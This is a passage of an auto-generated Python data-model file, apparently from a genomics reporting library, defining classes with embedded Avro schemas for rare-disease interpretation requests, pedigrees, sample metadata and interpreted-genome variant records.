"relatedSample", "type": "string"}, {"name": "ibd0", "type": "float"}, {"name": "ibd1", "type":
"float"}, {"name": "ibd2", "type": "float"}, {"name": "pihat", "type": "float"}]}}]}]}], "doc":
""}]}}], "doc": ""}, {"name": "karyotypes", "type": ["null", {"type": "array", "items": {"type":
"record", "name": "Karyotype", "fields": [{"name": "iscn", "type": ["null", "string"], "doc": ""},
{"name": "description", "type": ["null", "string"], "doc": ""}, {"name": "aneuploidies", "type":
["null", {"type": "array", "items": {"type": "record", "name": "Aneuploidy", "fields": [{"name":
"iscn", "type": ["null", "string"], "doc": ""}, {"name": "assembly", "type": "Assembly", "doc": ""},
{"name": "chromosome", "type": "string", "doc": ""}, {"name": "complete", "type": "boolean", "doc":
""}, {"name": "coordinates", "type": ["null", "Coordinates"], "doc": ""}, {"name": "numberOfCopies",
"type": "int", "doc": ""}]}}], "doc": ""}, {"name": "numberOfChromosomes", "type": "int", "doc":
""}, {"name": "personKaryotipicSex", "type": "org.gel.models.participant.avro.PersonKaryotipicSex",
"doc": ""}, {"name": "participantId", "type": "string", "doc": ""}]}}], "doc": ""}, {"name":
"referenceDatabasesVersions", "type": {"type": "map", "values": "string"}, "doc": ""}, {"name":
"softwareVersions", "type": {"type": "map", "values": "string"}, "doc": ""}, {"name": "comments",
"type": ["null", {"type": "array", "items": "string"}], "doc": ""}]}]}, {"name":
"otherInterpretationResults", "type": ["null", {"type": "array", "items": "InterpretedGenome"}]}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"interpretationMetaData",
"otherInterpretationResults",
"tieringResult",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {
'interpretationMetaData': InterpretationRequestRD,
'otherInterpretationResults': InterpretedGenome,
'tieringResult': InterpretedGenome,
}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {
'interpretationMetaData': InterpretationRequestRD,
'otherInterpretationResults': InterpretedGenome,
'tieringResult': InterpretedGenome,
}
return embeddedTypes[fieldName]
__slots__ = [
'interpretationMetaData', 'otherInterpretationResults',
'tieringResult'
]
def __init__(self, **kwargs):
self.interpretationMetaData = kwargs.get(
'interpretationMetaData', InterpretationRequestRD())
self.otherInterpretationResults = kwargs.get(
'otherInterpretationResults', None)
self.tieringResult = kwargs.get(
'tieringResult', None)
class InterpretationFlag(ProtocolElement):
"""
A given interpretation flag together with an optional description
"""
_schemaSource = """
{"type": "record", "name": "InterpretationFlag", "namespace": "org.gel.models.report.avro", "doc":
"", "fields": [{"name": "interpretationFlag", "type": {"type": "enum", "name":
"InterpretationFlags", "doc": "", "symbols": ["mixed_chemistries", "mixedLab_preparation",
"low_tumour_purity", "uniparental_isodisomy", "uniparental_heterodisomy", "unusual_karyotype",
"high_cnv_count", "high_estimate_human_contamination_fraction", "mixed_recruiting_gmc",
"suspected_mosaicism", "low_quality_sample", "ffpe_tumour_sample", "ff_nano_tumour_sample",
"missing_values_for_proband_in_reported_variant", "reissued", "supplementary_report_errors",
"internal_use_only", "high_priority", "other"]}, "doc": ""}, {"name": "additionalDescription",
"type": ["null", "string"], "doc": ""}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"additionalDescription",
"interpretationFlag",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {}
return embeddedTypes[fieldName]
__slots__ = [
'additionalDescription', 'interpretationFlag'
]
def __init__(self, **kwargs):
self.additionalDescription = kwargs.get(
'additionalDescription', None)
self.interpretationFlag = kwargs.get(
'interpretationFlag', None)
class InterpretationFlags(object):
"""
Some flags relevant to the interpretation of a case
"""
mixed_chemistries = "mixed_chemistries"
mixedLab_preparation = "mixedLab_preparation"
low_tumour_purity = "low_tumour_purity"
uniparental_isodisomy = "uniparental_isodisomy"
uniparental_heterodisomy = "uniparental_heterodisomy"
unusual_karyotype = "unusual_karyotype"
high_cnv_count = "high_cnv_count"
high_estimate_human_contamination_fraction = "high_estimate_human_contamination_fraction"
mixed_recruiting_gmc = "mixed_recruiting_gmc"
suspected_mosaicism = "suspected_mosaicism"
low_quality_sample = "low_quality_sample"
ffpe_tumour_sample = "ffpe_tumour_sample"
ff_nano_tumour_sample = "ff_nano_tumour_sample"
missing_values_for_proband_in_reported_variant = "missing_values_for_proband_in_reported_variant"
reissued = "reissued"
supplementary_report_errors = "supplementary_report_errors"
internal_use_only = "internal_use_only"
high_priority = "high_priority"
other = "other"
def __hash__(self):
return str(self).__hash__()
class InterpretationRequestRD(ProtocolElement):
"""
This record represents basic information for this report
"""
_schemaSource = """
{"type": "record", "name": "InterpretationRequestRD", "namespace": "org.gel.models.report.avro",
"doc": "", "fields": [{"name": "versionControl", "type": {"type": "record", "name":
"ReportVersionControl", "fields": [{"name": "gitVersionControl", "type": "string", "doc": "",
"default": "6.0.0"}]}, "doc": ""}, {"name": "interpretationRequestId", "type": "string", "doc": ""},
{"name": "interpretationRequestVersion", "type": "int", "doc": ""}, {"name": "internalStudyId",
"type": "string", "doc": ""}, {"name": "familyInternalId", "type": ["null", "string"], "doc": ""},
{"name": "genomeAssembly", "type": {"type": "enum", "name": "Assembly", "doc": "", "symbols":
["GRCh38", "GRCh37"]}, "doc": ""}, {"name": "workspace", "type": {"type": "array", "items":
"string"}, "doc": ""}, {"name": "bams", "type": ["null", {"type": "array", "items": {"type":
"record", "name": "File", "doc": "", "fields": [{"name": "sampleId", "type": ["null", {"type":
"array", "items": "string"}], "doc": ""}, {"name": "uriFile", "type": "string", "doc": ""}, {"name":
"fileType", "type": {"type": "enum", "name": "FileType", "symbols": ["BAM", "gVCF", "VCF_small",
"VCF_somatic_small", "VCF_CNV", "VCF_somatic_CNV", "VCF_SV", "VCF_somatic_SV", "VCF_SV_CNV", "SVG",
"ANN", "BigWig", "MD5Sum", "ROH", "OTHER", "PARTITION", "VARIANT_FREQUENCIES", "COVERAGE"]}, "doc":
""}, {"name": "md5Sum", "type": ["null", "string"], "doc": ""}]}}], "doc": ""}, {"name": "vcfs",
"type": ["null", {"type": "array", "items": "File"}], "doc": ""}, {"name": "bigWigs", "type":
["null", {"type": "array", "items": "File"}], "doc": ""}, {"name": "pedigreeDiagram", "type":
["null", "File"], "doc": ""}, {"name": "annotationFile", "type": ["null", "File"], "doc": ""},
{"name": "otherFiles", "type": ["null", {"type": "map", "values": "File"}], "doc": ""}, {"name":
"pedigree", "type": ["null", {"type": "record", "name": "Pedigree", "namespace":
"org.gel.models.participant.avro", "doc": "", "fields": [{"name": "versionControl", "type": ["null",
{"type": "record", "name": "VersionControl", "fields": [{"name": "GitVersionControl", "type":
"string", "doc": "", "default": "1.1.0"}]}], "doc": ""}, {"name": "LDPCode", "type": ["null",
"string"], "doc": ""}, {"name": "familyId", "type": "string", "doc": ""}, {"name": "members",
"type": {"type": "array", "items": {"type": "record", "name": "PedigreeMember", "doc": "", "fields":
[{"name": "pedigreeId", "type": ["null", "int"], "doc": ""}, {"name": "isProband", "type": ["null",
"boolean"], "doc": ""}, {"name": "participantId", "type": ["null", "string"], "doc": ""}, {"name":
"participantQCState", "type": ["null", {"type": "enum", "name": "ParticipantQCState", "doc": "",
"symbols": ["noState", "passedMedicalReviewReadyForInterpretation",
"passedMedicalReviewNotReadyForInterpretation", "queryToGel", "queryToGMC", "failed"]}], "doc": ""},
{"name": "gelSuperFamilyId", "type": ["null", "string"], "doc": ""}, {"name": "sex", "type":
{"type": "enum", "name": "Sex", "doc": "", "symbols": ["MALE", "FEMALE", "UNKNOWN"]}, "doc": ""},
{"name": "personKaryotypicSex", "type": ["null", {"type": "enum", "name": "PersonKaryotipicSex",
"doc": "", "symbols": ["UNKNOWN", "XX", "XY", "XO", "XXY", "XXX", "XXYY", "XXXY", "XXXX", "XYY",
"OTHER"]}], "doc": ""}, {"name": "yearOfBirth", "type": ["null", "int"], "doc": ""}, {"name":
"fatherId", "type": ["null", "int"], "doc": ""}, {"name": "motherId", "type": ["null", "int"],
"doc": ""}, {"name": "superFatherId", "type": ["null", "int"], "doc": ""}, {"name": "superMotherId",
"type": ["null", "int"], "doc": ""}, {"name": "twinGroup", "type": ["null", "int"], "doc": ""},
{"name": "monozygotic", "type": ["null", {"type": "enum", "name": "TernaryOption", "doc": "",
"symbols": ["yes", "no", "unknown"]}], "doc": ""}, {"name": "adoptedStatus", "type": ["null",
{"type": "enum", "name": "AdoptedStatus", "doc": "", "symbols": ["notadopted", "adoptedin",
"adoptedout"]}], "doc": ""}, {"name": "lifeStatus", "type": ["null", {"type": "enum", "name":
"LifeStatus", "doc": "", "symbols": ["ALIVE", "ABORTED", "DECEASED", "UNBORN", "STILLBORN",
"MISCARRIAGE"]}], "doc": ""}, {"name": "consanguineousParents", "type": ["null", "TernaryOption"],
"doc": ""}, {"name": "affectionStatus", "type": ["null", {"type": "enum", "name": "AffectionStatus",
"doc": "", "symbols": ["UNAFFECTED", "AFFECTED", "UNCERTAIN"]}], "doc": ""}, {"name":
"disorderList", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Disorder",
"doc": "", "fields": [{"name": "diseaseGroup", "type": ["null", "string"], "doc": ""}, {"name":
"diseaseSubGroup", "type": ["null", "string"], "doc": ""}, {"name": "specificDisease", "type":
["null", "string"], "doc": ""}, {"name": "ageOfOnset", "type": ["null", "float"], "doc": ""}]}}],
"doc": ""}, {"name": "hpoTermList", "type": ["null", {"type": "array", "items": {"type": "record",
"name": "HpoTerm", "doc": "", "fields": [{"name": "term", "type": "string", "doc": ""}, {"name":
"termPresence", "type": ["null", "TernaryOption"], "doc": ""}, {"name": "hpoBuildNumber", "type":
["null", "string"], "doc": ""}, {"name": "modifiers", "type": ["null", {"type": "record", "name":
"HpoTermModifiers", "fields": [{"name": "laterality", "type": ["null", {"type": "enum", "name":
"Laterality", "symbols": ["RIGHT", "UNILATERAL", "BILATERAL", "LEFT"]}]}, {"name": "progression",
"type": ["null", {"type": "enum", "name": "Progression", "symbols": ["PROGRESSIVE",
"NONPROGRESSIVE"]}]}, {"name": "severity", "type": ["null", {"type": "enum", "name": "Severity",
"symbols": ["BORDERLINE", "MILD", "MODERATE", "SEVERE", "PROFOUND"]}]}, {"name": "spatialPattern",
"type": ["null", {"type": "enum", "name": "SpatialPattern", "symbols": ["DISTAL", "GENERALIZED",
"LOCALIZED", "PROXIMAL"]}]}]}], "doc": ""}, {"name": "ageOfOnset", "type": ["null", {"type": "enum",
"name": "AgeOfOnset", "symbols": ["EMBRYONAL_ONSET", "FETAL_ONSET", "NEONATAL_ONSET",
"INFANTILE_ONSET", "CHILDHOOD_ONSET", "JUVENILE_ONSET", "YOUNG_ADULT_ONSET", "LATE_ONSET",
"MIDDLE_AGE_ONSET"]}], "doc": ""}]}}], "doc": ""}, {"name": "ancestries", "type": ["null", {"type":
"record", "name": "Ancestries", "doc": "", "fields": [{"name": "mothersEthnicOrigin", "type":
["null", {"type": "enum", "name": "EthnicCategory", "doc": "", "symbols": ["D", "E", "F", "G", "A",
"B", "C", "L", "M", "N", "H", "J", "K", "P", "S", "R", "Z"]}], "doc": ""}, {"name":
"mothersOtherRelevantAncestry", "type": ["null", "string"], "doc": ""}, {"name":
"fathersEthnicOrigin", "type": ["null", "EthnicCategory"], "doc": ""}, {"name":
"fathersOtherRelevantAncestry", "type": ["null", "string"], "doc": ""}, {"name":
"chiSquare1KGenomesPhase3Pop", "type": ["null", {"type": "array", "items": {"type": "record",
"name": "ChiSquare1KGenomesPhase3Pop", "doc": "", "fields": [{"name": "kgSuperPopCategory", "type":
{"type": "enum", "name": "KgSuperPopCategory", "doc": "", "symbols": ["AFR", "AMR", "EAS", "EUR",
"SAS"]}, "doc": ""}, {"name": "kgPopCategory", "type": ["null", {"type": "enum", "name":
"KgPopCategory", "doc": "", "symbols": ["ACB", "ASW", "BEB", "CDX", "CEU", "CHB", "CHS", "CLM",
"ESN", "FIN", "GBR", "GIH", "GWD", "IBS", "ITU", "JPT", "KHV", "LWK", "MSL", "MXL", "PEL", "PJL",
"PUR", "STU", "TSI", "YRI"]}], "doc": ""}, {"name": "chiSquare", "type": "double", "doc": ""}]}}],
"doc": ""}]}], "doc": ""}, {"name": "consentStatus", "type": ["null", {"type": "record", "name":
"ConsentStatus", "doc": "", "fields": [{"name": "programmeConsent", "type": "boolean", "doc": "",
"default": false}, {"name": "primaryFindingConsent", "type": "boolean", "doc": "", "default":
false}, {"name": "secondaryFindingConsent", "type": "boolean", "doc": "", "default": false},
{"name": "carrierStatusConsent", "type": "boolean", "doc": "", "default": false}]}], "doc": ""},
{"name": "samples", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Sample",
"fields": [{"name": "sampleId", "type": "string", "doc": ""}, {"name": "labSampleId", "type": "int",
"doc": ""}, {"name": "source", "type": ["null", {"type": "enum", "name": "SampleSource", "doc": "",
"symbols": ["TUMOUR", "BONE_MARROW_ASPIRATE_TUMOUR_SORTED_CELLS",
"BONE_MARROW_ASPIRATE_TUMOUR_CELLS", "BLOOD", "SALIVA", "FIBROBLAST", "TISSUE"]}], "doc": ""},
{"name": "product", "type": ["null", {"type": "enum", "name": "Product", "symbols": ["DNA",
"RNA"]}], "doc": ""}, {"name": "preparationMethod", "type": ["null", {"type": "enum", "name":
"PreparationMethod", "symbols": ["EDTA", "ORAGENE", "FF", "FFPE", "CD128_SORTED_CELLS",
"ASPIRATE"]}], "doc": ""}]}}], "doc": ""}, {"name": "inbreedingCoefficient", "type": ["null",
{"type": "record", "name": "InbreedingCoefficient", "doc": "", "fields": [{"name": "sampleId",
"type": "string", "doc": ""}, {"name": "program", "type": "string", "doc": ""}, {"name": "version",
"type": "string", "doc": ""}, {"name": "estimationMethod", "type": "string", "doc": ""}, {"name":
"coefficient", "type": "double", "doc": ""}, {"name": "standardError", "type": ["null", "double"],
"doc": ""}]}], "doc": ""}, {"name": "additionalInformation", "type": ["null", {"type": "map",
"values": "string"}], "doc": ""}]}}, "doc": ""}, {"name": "analysisPanels", "type": ["null",
{"type": "array", "items": {"type": "record", "name": "AnalysisPanel", "doc": "", "fields":
[{"name": "specificDisease", "type": "string", "doc": ""}, {"name": "panelName", "type": "string",
"doc": ""}, {"name": "panelVersion", "type": ["null", "string"], "doc": ""}, {"name":
"reviewOutcome", "type": "string", "doc": ""}, {"name": "multipleGeneticOrigins", "type": "string",
"doc": ""}]}}], "doc": ""}, {"name": "diseasePenetrances", "type": ["null", {"type": "array",
"items": {"type": "record", "name": "DiseasePenetrance", "doc": "", "fields": [{"name":
"specificDisease", "type": "string", "doc": ""}, {"name": "penetrance", "type": {"type": "enum",
"name": "Penetrance", "doc": "", "symbols": ["complete", "incomplete"]}, "doc": ""}]}}], "doc": ""},
{"name": "readyForAnalysis", "type": "boolean", "doc": ""}, {"name": "familyQCState", "type":
["null", {"type": "enum", "name": "FamilyQCState", "doc": "", "symbols": ["noState",
"passedMedicalReviewReadyForInterpretation", "passedMedicalReviewNotReadyForInterpretation",
"queryToGel", "queryToGMC", "failed"]}], "doc": ""}]}], "doc": ""}, {"name": "otherFamilyHistory",
"type": ["null", {"type": "record", "name": "OtherFamilyHistory", "doc": "", "fields": [{"name":
"maternalFamilyHistory", "type": ["null", {"type": "array", "items": "string"}], "doc": ""},
{"name": "paternalFamilyHistory", "type": ["null", {"type": "array", "items": "string"}], "doc":
""}]}], "doc": ""}, {"name": "genePanelsCoverage", "type": ["null", {"type": "map", "values":
{"type": "map", "values": {"type": "map", "values": "float"}}}], "doc": ""}, {"name":
"interpretationFlags", "type": ["null", {"type": "array", "items": {"type": "record", "name":
"InterpretationFlag", "doc": "", "fields": [{"name": "interpretationFlag", "type": {"type": "enum",
"name": "InterpretationFlags", "doc": "", "symbols": ["mixed_chemistries", "mixedLab_preparation",
"low_tumour_purity", "uniparental_isodisomy", "uniparental_heterodisomy", "unusual_karyotype",
"high_cnv_count", "high_estimate_human_contamination_fraction", "mixed_recruiting_gmc",
"suspected_mosaicism", "low_quality_sample", "ffpe_tumour_sample", "ff_nano_tumour_sample",
"missing_values_for_proband_in_reported_variant", "reissued", "supplementary_report_errors",
"internal_use_only", "high_priority", "other"]}, "doc": ""}, {"name": "additionalDescription",
"type": ["null", "string"], "doc": ""}]}}], "doc": ""}, {"name": "additionalInfo", "type": ["null",
{"type": "map", "values": "string"}], "doc": ""}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"additionalInfo",
"annotationFile",
"bams",
"bigWigs",
"familyInternalId",
"genePanelsCoverage",
"genomeAssembly",
"internalStudyId",
"interpretationFlags",
"interpretationRequestId",
"interpretationRequestVersion",
"otherFamilyHistory",
"otherFiles",
"pedigree",
"pedigreeDiagram",
"vcfs",
"versionControl",
"workspace",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {
'annotationFile': File,
'bams': File,
'bigWigs': File,
'interpretationFlags': InterpretationFlag,
'otherFamilyHistory': OtherFamilyHistory,
'otherFiles': File,
'pedigree': Pedigree,
'pedigreeDiagram': File,
'vcfs': File,
'versionControl': ReportVersionControl,
}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {
'annotationFile': File,
'bams': File,
'bigWigs': File,
'interpretationFlags': InterpretationFlag,
'otherFamilyHistory': OtherFamilyHistory,
'otherFiles': File,
'pedigree': Pedigree,
'pedigreeDiagram': File,
'vcfs': File,
'versionControl': ReportVersionControl,
}
return embeddedTypes[fieldName]
__slots__ = [
'additionalInfo', 'annotationFile', 'bams', 'bigWigs',
'familyInternalId', 'genePanelsCoverage', 'genomeAssembly',
'internalStudyId', 'interpretationFlags',
'interpretationRequestId', 'interpretationRequestVersion',
'otherFamilyHistory', 'otherFiles', 'pedigree',
'pedigreeDiagram', 'vcfs', 'versionControl', 'workspace'
]
def __init__(self, **kwargs):
self.additionalInfo = kwargs.get(
'additionalInfo', None)
self.annotationFile = kwargs.get(
'annotationFile', None)
self.bams = kwargs.get(
'bams', None)
self.bigWigs = kwargs.get(
'bigWigs', None)
self.familyInternalId = kwargs.get(
'familyInternalId', None)
self.genePanelsCoverage = kwargs.get(
'genePanelsCoverage', None)
self.genomeAssembly = kwargs.get(
'genomeAssembly', None)
self.internalStudyId = kwargs.get(
'internalStudyId', None)
self.interpretationFlags = kwargs.get(
'interpretationFlags', None)
self.interpretationRequestId = kwargs.get(
'interpretationRequestId', None)
self.interpretationRequestVersion = kwargs.get(
'interpretationRequestVersion', None)
self.otherFamilyHistory = kwargs.get(
'otherFamilyHistory', None)
self.otherFiles = kwargs.get(
'otherFiles', None)
self.pedigree = kwargs.get(
'pedigree', None)
self.pedigreeDiagram = kwargs.get(
'pedigreeDiagram', None)
self.vcfs = kwargs.get(
'vcfs', None)
self.versionControl = kwargs.get(
'versionControl', ReportVersionControl())
self.workspace = kwargs.get(
'workspace', None)
class InterpretedGenome(ProtocolElement):
"""
A interpreted genome for the rare disease program. This holds the
list of candidate variants reported by an interpretation
service together with all the relevant information that identify
the case and how these conclusions were reached.
"""
_schemaSource = """
{"type": "record", "name": "InterpretedGenome", "namespace": "org.gel.models.report.avro", "doc":
"", "fields": [{"name": "versionControl", "type": {"type": "record", "name": "ReportVersionControl",
"fields": [{"name": "gitVersionControl", "type": "string", "doc": "", "default": "6.0.0"}]}, "doc":
""}, {"name": "interpretationRequestId", "type": "string", "doc": ""}, {"name":
"interpretationRequestVersion", "type": "int", "doc": ""}, {"name": "interpretationService", "type":
"string", "doc": ""}, {"name": "reportUrl", "type": ["null", "string"], "doc": ""}, {"name":
"variants", "type": ["null", {"type": "array", "items": {"type": "record", "name": "SmallVariant",
"doc": "", "fields": [{"name": "variantCoordinates", "type": {"type": "record", "name":
"VariantCoordinates", "doc": "", "fields": [{"name": "chromosome", "type": "string", "doc": ""},
{"name": "position", "type": "int", "doc": ""}, {"name": "reference", "type": "string", "doc": ""},
{"name": "alternate", "type": "string", "doc": ""}, {"name": "assembly", "type": {"type": "enum",
"name": "Assembly", "doc": "", "symbols": ["GRCh38", "GRCh37"]}, "doc": ""}]}, "doc": ""}, {"name":
"variantCalls", "type": {"type": "array", "items": {"type": "record", "name": "VariantCall", "doc":
"", "fields": [{"name": "participantId", "type": "string", "doc": ""}, {"name": "sampleId", "type":
"string", "doc": ""}, {"name": "zygosity", "type": {"type": "enum", "name": "Zygosity", "doc": "",
"symbols": ["reference_homozygous", "heterozygous", "alternate_homozygous", "missing",
"half_missing_reference", "half_missing_alternate", "alternate_hemizigous", "reference_hemizigous",
"unk", "na"]}, "doc": ""}, {"name": "phaseGenotype", "type": ["null", {"type": "record", "name":
"PhaseGenotype", "fields": [{"name": "sortedAlleles", "type": {"type": "array", "items": "string"}},
{"name": "phaseSet", "type": "int"}]}], "doc": ""}, {"name": "sampleVariantAlleleFrequency", "type":
["null", "double"], "doc": ""}, {"name": "depthReference", "type": ["null", "int"], "doc": ""},
{"name": "depthAlternate", "type": ["null", "int"], "doc": ""}, {"name": "numberOfCopies", "type":
["null", {"type": "array", "items": {"type": "record", "name": "NumberOfCopies", "fields": [{"name":
"numberOfCopies", "type": "int", "doc": ""}, {"name": "confidenceIntervalMaximum", "type": ["null",
"int"]}, {"name": "confidenceIntervalMinimum", "type": ["null", "int"]}]}}], "doc": ""}, {"name":
"alleleOrigins", "type": ["null", {"type": "array", "items": {"type": "enum", "name":
"AlleleOrigin", "doc": "", "symbols": ["de_novo_variant", "germline_variant", "maternal_variant",
"paternal_variant", "pedigree_specific_variant", "population_specific_variant",
"somatic_variant"]}}], "doc": ""}, {"name": "supportingReadTypes", "type": ["null", {"type":
"array", "items": {"type": "enum", "name": "SupportingReadType", "symbols": ["spanning", "flanking",
"inrepeat"]}}]}]}}, "doc": ""}, {"name": "reportEvents", "type": {"type": "array", "items": {"type":
"record", "name": "ReportEvent", "doc": "", "fields": [{"name": "reportEventId", "type": "string",
"doc": ""}, {"name": "phenotypes", "type": {"type": "record", "name": "Phenotypes", "doc": "",
"fields": [{"name": "nonStandardPhenotype", "type": ["null", {"type": "array", "items": "string"}],
"doc": ""}, {"name": "standardPhenotypes", "type": ["null", {"type": "array", "items": {"type":
"record", "name": "StandardPhenotype", "doc": "", "fields": [{"name": "id", "type": "string"},
{"name": "name", "type": ["null", "string"]}, {"name": "namespace", "type": ["null", "string"]},
{"name": "definition", "type": ["null", "string"]}, {"name": "comment", "type": ["null", "string"]},
{"name": "alternativeIds", "type": ["null", "string"]}, {"name": "synonyms", "type": ["null",
"string"]}, {"name": "isA", "type": ["null", "string"]}, {"name": "ontology", "type": {"type":
"record", "name": "Ontology", "doc": "", "fields": [{"name": "name", "type": "string"}, {"name":
"version", "type": "string"}]}, "doc": ""}, {"name": "matchScore", "type": ["null", "float"], "doc":
""}]}}], "doc": ""}]}, "doc": ""}, {"name": "variantConsequences", "type": {"type": "array",
"items": {"type": "record", "name": "VariantConsequence", "doc": "", "fields": [{"name": "id",
"type": "string", "doc": ""}, {"name": "name", "type": ["null", "string"], "doc": ""}]}}, "doc":
""}, {"name": "genePanel", "type": ["null", {"type": "record", "name": "GenePanel", "doc": "",
"fields": [{"name": "panelIdentifier", "type": ["null", "string"], "doc": ""}, {"name": "panelName",
"type": ["null", "string"], "doc": ""}, {"name": "panelVersion", "type": ["null", "string"], "doc":
""}, {"name": "source", "type": ["null", "string"], "doc": ""}]}], "doc": ""}, {"name":
"modeOfInheritance", "type": {"type": "enum", "name": "ModeOfInheritance", "doc": "", "symbols":
["monoallelic", "monoallelic_not_imprinted", "monoallelic_maternally_imprinted",
"monoallelic_paternally_imprinted", "biallelic", "monoallelic_and_biallelic",
"monoallelic_and_more_severe_biallelic", "xlinked_biallelic", "xlinked_monoallelic",
"mitochondrial", "unknown", "na"]}, "doc": ""}, {"name": "genomicEntities", "type": {"type":
"array", "items": {"type": "record", "name": "GenomicEntity", "doc": "", "fields": [{"name": "type",
"type": {"type": "enum", "name": "GenomicEntityType", "doc": "", "symbols": ["regulatory_region",
"gene", "transcript", "intergenic", "gene_fusion", "genomic_region", "cytobands"]}, "doc": ""},
{"name": "ensemblId", "type": ["null", "string"], "doc": ""}, {"name": "geneSymbol", "type":
["null", "string"], "doc": ""}, {"name": "otherIds", "type": ["null", {"type": "array", "items":
{"type": "record", "name": "Identifier", "fields": [{"name": "source", "type": "string", "doc": ""},
{"name": "identifier", "type": "string", "doc": ""}]}}], "doc": ""}]}}, "doc": ""}, {"name":
"segregationPattern", "type": ["null", {"type": "enum", "name": "SegregationPattern", "symbols":
["UniparentalIsodisomy", "SimpleRecessive", "CompoundHeterozygous", "deNovo",
"InheritedAutosomalDominant", "InheritedAutosomalDominantMaternallyImprinted",
"InheritedAutosomalDominantPaternallyImprinted", "XLinkedCompoundHeterozygous",
"XLinkedSimpleRecessive", "XLinkedMonoallelic", "MitochondrialGenome"]}], "doc": ""}, {"name":
"penetrance", "type": ["null", {"type": "enum", "name": "Penetrance", "namespace":
"org.gel.models.participant.avro", "doc": "", "symbols": ["complete", "incomplete"]}], "doc": ""},
{"name": "deNovoQualityScore", "type": ["null", "float"], "doc": ""}, {"name":
"fullyExplainsPhenotype", "type": ["null", "boolean"], "doc": ""}, {"name": "groupOfVariants",
"type": ["null", "int"], "doc": ""}, {"name": "eventJustification", "type": ["null", "string"],
"doc": ""}, {"name": "roleInCancer", "type": ["null", {"type": "array", "items": {"type": "enum",
"name": "RoleInCancer", "doc": "", "symbols": ["oncogene", "tumor_suppressor_gene", "both"]}}],
"doc": ""}, {"name": "actions", "type": ["null", {"type": "record", "name": "Actions", "doc": "",
"fields": [{"name": "trials", "type": ["null", {"type": "array", "items": {"type": "record", "name":
"Trial", "fields": [{"name": "studyUrl", "type": "string", "doc": ""}, {"name": "studyIdentifier",
"type": "string", "doc": ""}, {"name": "startDate", "type": ["null", "string"], "doc": ""}, {"name":
"estimateCompletionDate", "type": ["null", "string"], "doc": ""}, {"name": "title", "type": ["null",
"string"], "doc": ""}, {"name": "phase", "type": ["null", {"type": "enum", "name": "StudyPhase",
"doc": "", "symbols": ["na", "early_phase1", "phase1", "phase1_phase2", "phase2", "phase2_phase3",
"phase3", "phase4"]}], "doc": ""}, {"name": "interventions", "type": ["null", {"type": "array",
"items": {"type": "record", "name": "Intervention", "doc": "", "fields": [{"name":
"interventionType", "type": {"type": "enum", "name": "InterventionType", "doc": "", "symbols":
["drug", "device", "procedure", "biological", "radiation", "behavioral", "genetic",
"dietary_supplement", "combination_product", "diagnostic_test", "other"]}, "doc": ""}, {"name":
"interventionName", "type": "string", "doc": ""}]}}], "doc": ""}, {"name": "conditions", "type":
["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "primaryPurpose", "type":
["null", {"type": "enum", "name": "PrimaryPurpose", "doc": "", "symbols": ["treatment",
"prevention", "diagnostic", "supportive_care", "screening", "health_services_research",
"basic_science", "device_feasibility", "other"]}], "doc": ""}, {"name": "studyType", "type":
["null", {"type": "enum", "name": "StudyType", "doc": "", "symbols": ["interventional",
"observational", "patient_registry", "expanded_access"]}], "doc": ""}, {"name":
"demogrphicElegibilityCriteria", "type": ["null", {"type": "record", "name":
"DemographicElegibilityCriteria", "fields": [{"name": "sex", "type": {"type": "enum", "name": "Sex",
"namespace": "org.gel.models.participant.avro", "doc": "", "symbols": ["MALE", "FEMALE",
"UNKNOWN"]}}, {"name": "ageRange", "type": ["null", {"type": "record", "name": "AgeRange", "fields":
[{"name": "minimumAge", "type": "int"}, {"name": "maximumAge", "type": "int"}, {"name": "timeunit",
"type": {"type": "enum", "name": "TimeUnit", "symbols": ["years", "months", "weeks", "days",
"hours", "minutes", "na"]}}]}]}]}], "doc": ""}, {"name": "locations", "type": ["null", {"type":
"array", "items": {"type": "record", "name": "TrialLocation", "fields": [{"name": "name", "type":
["null", "string"]}, {"name": "city", "type": ["null", "string"]}, {"name": "country", "type":
["null", "string"]}, {"name": "zip", "type": ["null", "string"]}]}}], "doc": ""}, {"name":
"variantActionable", "type": "boolean", "doc": ""}]}}]}, {"name": "prognosis", "type": ["null",
{"type": "array", "items": {"type": "record", "name": "Prognosis", "fields": [{"name":
"referenceUrl", "type": "string", "doc": ""}, {"name": "prognosis", "type": ["null", {"type":
"enum", "name": "PrognosisClassification", "symbols": ["altered_prognosis", "favourable_prognosis",
"unfavourable_prognosis"]}], "doc": ""}, {"name": "source", "type": ["null", "string"], "doc": ""},
{"name": "references", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name":
"conditions", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name":
"description", "type": ["null", "string"], "doc": ""}, {"name": "variantActionable", "type":
"boolean", "doc": ""}]}}]}, {"name": "therapies", "type": ["null", {"type": "array", "items":
{"type": "record", "name": "Therapy", "fields": [{"name": "referenceUrl", "type": "string", "doc":
""}, {"name": "source", "type": ["null", "string"], "doc": ""}, {"name": "references", "type":
["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "conditions", "type": ["null",
{"type": "array", "items": "string"}], "doc": ""}, {"name": "drugResponse", "type": ["null",
{"type": "array", "items": {"type": "record", "name": "DrugResponse", "fields": [{"name":
"TreatmentAgent", "type": "string", "doc": ""}, {"name": "drugResponseClassification", "type":
{"type": "enum", "name": "DrugResponseClassification", "symbols": ["altered_sensitivity",
"reduced_sensitivity", "increased_sensitivity", "altered_resistance", "increased_resistance",
"reduced_resistance", "increased_risk_of_toxicity", "reduced_risk_of_toxicity", "altered_toxicity",
"adverse_drug_reaction", "indication", "contraindication", "dosing_alteration", "increased_dose",
"reduced_dose", "increased_monitoring", "increased_efficacy", "reduced_efficacy",
"altered_efficacy"]}, "doc": ""}]}}], "doc": ""}, {"name": "otherInterventions", "type": ["null",
